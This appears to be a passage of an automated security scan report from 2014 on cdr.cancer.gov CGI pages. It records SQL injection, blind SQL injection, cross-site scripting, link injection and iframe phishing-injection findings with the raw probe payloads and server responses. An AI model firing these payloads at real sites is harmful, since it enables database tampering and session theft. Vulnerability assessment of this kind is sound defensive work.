ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF445.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>


...
...
<input type='hidden' name='TypeName' value='GlossaryTermName'>
</FORM>
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF445.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<!-- TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search</TD>
<
```

```
...
...
066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF445.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
<input type='hidden' name='TypeName' value='GlossaryTermName'>
</FORM>
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/GlossaryTermSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF445.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<!-- TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search</TD>
<
...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448110 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermSearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:09 GMT
Connection: close
Content-Length: 9771

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Glossary Term Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #0
...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448180 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GlossaryTermSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:43:02 GMT
Connection: close
Content-Length: 9771

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Glossary Term Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #0
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Help.py - 6 issue(s)

### Issue 1 of 6

## [High] SQL Injection

| | |
|---|---|
| Issue: | 75448064 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Help.py |
| Parameter: | flavor |
| Risk(s): | It is possible to view, modify or delete database entries and tables |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'flavor' to 'System%''

**Reasoning:**

The test result seems to indicate a vulnerability because the response contains SQL Server errors. This suggests that the test managed to penetrate the application and reach the SQL query itself, by injecting hazardous characters.

**Request/Response:**

```
GET /cgi-bin/cdr/Help.py? flavor=System%' HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 07:58:54 GMT
Connection: close
Content-Length: 463

...
or</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Failure locating table of contents document: Unclosed quotation mark after the
character string ''.</p>
</body>
</html>

...
or</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Failure locating table of contents document: Unclosed quotation mark after the
character string ''.</p>
</body>
</html>
```

## Issue 2 of 6

## [High] Blind SQL Injection

| | |
|---|---|
| Issue: | 75448315 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Help.py |
| Parameter: | flavor |
| Risk(s): | It is possible to view, modify or delete database entries and tables |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 3

**The following changes were applied to the original request:**

```
- Set the value of the parameter 'flavor' to 'System%%27+and+%27f%27%3D%27f%27+--+'
- Set the value of the parameter 'flavor' to 'System%%27+and+%27b%27%3D%27f%27+--+'
- Set the value of the parameter 'flavor' to 'System%%27+or+%27b%27%3D%27f%27+--+'
```

**Reasoning:**

The test result seems to indicate a vulnerability because it shows that values can be appended to parameter values, indicating that they were embedded in an SQL query. In this test, three (or sometimes four) requests are sent. The last is logically equal to the original, and the next-to-last is different. Any others are for control purposes. A comparison of the last two responses with the first (the last is similar to it, and the next-to-last is different) indicates that the application is vulnerable.

**Request/Response:**

```
GET /cgi-bin/cdr/Help.py? flavor=System%%27+and+%27f%27%3D%27f%27+--+ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:14:51 GMT
Connection: close
Content-Length: 65949

...
Id=CDR0000757661&amp;Filter=name:Documentation+Help+Screens+Filter">Subversion Branching in CDR
Development</a>
</li>
</ul>
</ul>
</ul>
</body>
</html>

================================================================================
GET /cgi-bin/cdr/Help.py? flavor=System%%27+and+%27b%27%3D%27f%27+--+ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type:
...
...
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Cannot find %s table of contents</p>
</body>
</html>

================================================================================
GET /cgi-bin/cdr/Help.py? flavor=System%%27+or+%27b%27%3D%27f%27+--+ HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type:
...
```

## Issue 3 of 6

## [Low] Database Error Pattern Found

| | |
|---|---|
| Issue: | 75448070 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Help.py |
| Parameter: | flavor |
| Risk(s): | It is possible to view, modify or delete database entries and tables |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'flavor' to 'System%WFXSSProbe%27%22%29%2F%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the response contains SQL Server errors. This suggests that the test managed to penetrate the application and reach the SQL query itself, by injecting hazardous characters.

**Request/Response:**

```
GET /cgi-bin/cdr/Help.py? flavor=System%WFXSSProbe%27%22%29%2F%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 07:58:49 GMT
Connection: close
Content-Length: 471

...
or</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Failure locating table of contents document: Unclosed quotation mark after the
character string ')/&gt;%''.</p>
</body>
</html>

...
or</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Failure locating table of contents document: Unclosed quotation mark after the
character string ')/&gt;%''.</p>
</body>
</html>
```

## Issue 4 of 6

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448142 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Help.py |
| Parameter: | flavor |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/Help.py?flavor=System% HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:49 GMT
Connection: close
Content-Length: 65949

<html xmlns:cdr="cips.nci.nih.gov/cdr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>System Information</title>
<style>
h1,h2,h3,h4 {color: Navy}
li.lnone {list-style: none}
p { +.4mm }
</style>
</head>
<body>
<h1>System Information</h1>
<ul>
<li>GETTING STARTED</li>
<ul>
<li>
<a href="/cgi-
bin/cdr/Filter.py?DocId=CDR0000000299&amp;Filter=name:Documentation+Help+Screens+Filter">CDR
System Requirements</a>
</li>
</ul>
<ul>
<li>
<a
...
```

## Issue 5 of 6

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448293 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Help.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 3

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/Help.py'
- Removed the query string
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/Help.py HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:14:42 GMT
Connection: close
Content-Length: 38097

<html xmlns:cdr="cips.nci.nih.gov/cdr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>CDR Help</title>
<style>
h1,h2,h3,h4 {color: Navy}
li.lnone {list-style: none}
p { +.4mm }
</style>
</head>
<body>
<h1>CDR Help</h1>
<ul>
<li>
<a href="/cgi-
bin/cdr/Filter.py?DocId=CDR0000000294&amp;Filter=name:Documentation+Help+Screens+Filter">Searching
for Documents: Overview</a>
</li>
<ul>
<li>
<a href="/cgi-bin/cdr/Filter.py?DocId=CDR0000000282&amp;Filter=name:Documen
...
```

## Issue 6 of 6

## [Information] Application Error

| | |
|---|---|
| Issue: | 75448235 |
| Severity: | Information |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Help.py |
| Parameter: | flavor |
| Risk(s): | It is possible to gather sensitive debugging information |
| Fix: | Verify that parameter values are in their expected ranges and types. Do not output debugging error messages and exceptions |

### Variant 1 of 3

**The following changes were applied to the original request:**

Set the value of the parameter 'flavor' to '%27'

**Reasoning:**

The application has responded with an error message, indicating an undefined state that may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/Help.py? flavor=%27 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 07:58:54 GMT
Connection: close
Content-Length: 463

...
or</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Failure locating table of contents document: Unclosed quotation mark after the
character string ''.</p>
</body>
</html>

...
or</title>
<link href="/favicon.ico" rel="icon">
<link href="/stylesheets/cdr.css" rel="stylesheet">
</head>
<body>
<header>
<h1>CDR Web Interface</h1>
<h2>An error has occurred</h2>
</header>
<p class="error">Failure locating table of contents document: Unclosed quotation mark after the
character string ''.</p>
</body>
</html>
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448292 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%22onmouseover%3D%22alert%2833%29%22'

**Reasoning:**

**Request/Response:**

```
GET /cgi-bin/cdr/HelpSearch.py? Session=guest%22onmouseover%3D%22alert%2833%29%22 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:27:30 GMT
Connection: close
Content-Length: 6478

...
: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/HelpSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(33)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/HelpSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(33)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
```

```
        <TD HEIGHT = "26"
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448136 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF414.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/HelpSearch.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF414.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:26:53 GMT
Connection: close
Content-Length: 6480


...
or: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/HelpSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF414.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>


...
...
or: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/HelpSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF414.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
```

```
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448151 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'guest%27%22%3E%3Ciframe+id%3D413+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/HelpSearch.py? Session=guest%27%22%3E%3Ciframe+id%3D413+src%3Dhttp%3A%2F%2Fdemo.t
estfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:26:53 GMT
Connection: close
Content-Length: 6515


...
000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/HelpSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=413 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
...
000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/HelpSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=413 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448044 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/HelpSearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:07 GMT
Connection: close
Content-Length: 6454

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Documentation Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #0
...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448316 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/HelpSearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/HelpSearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:54 GMT
Connection: close
Content-Length: 6454

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Documentation Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #0
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448061 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 10

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1087)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/InvalidDocs.py? Session=None'/><script>alert(1087)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 06:02:46 GMT
Connection: close
Content-Length: 3796

...
ALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Invalid Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session', value='None'/><script> alert(1087) </script>'>
<b>Document Type: </b>
<select name='docType'>
<option value=''></option>
<option value='17'>Citation </option>
<option value='39'>ClinicalTrialSearchString </option>
<option value='5'>Country </option>
<option value='34'>CTGovProtocol
...
...
ALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Invalid Documents<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session', value='None'/><script> alert(1087) </script>'>
<b>Document Type: </b>
```

```
        <select name='docType'>
        <option value=''></option>
        <option value='17'>Citation </option>
        <option value='39'>ClinicalTrialSearchString </option>
        <option value='5'>Country </option>
        <option value='34'>CTGovProtocol
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448309 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py |
| Parameter: | Session |
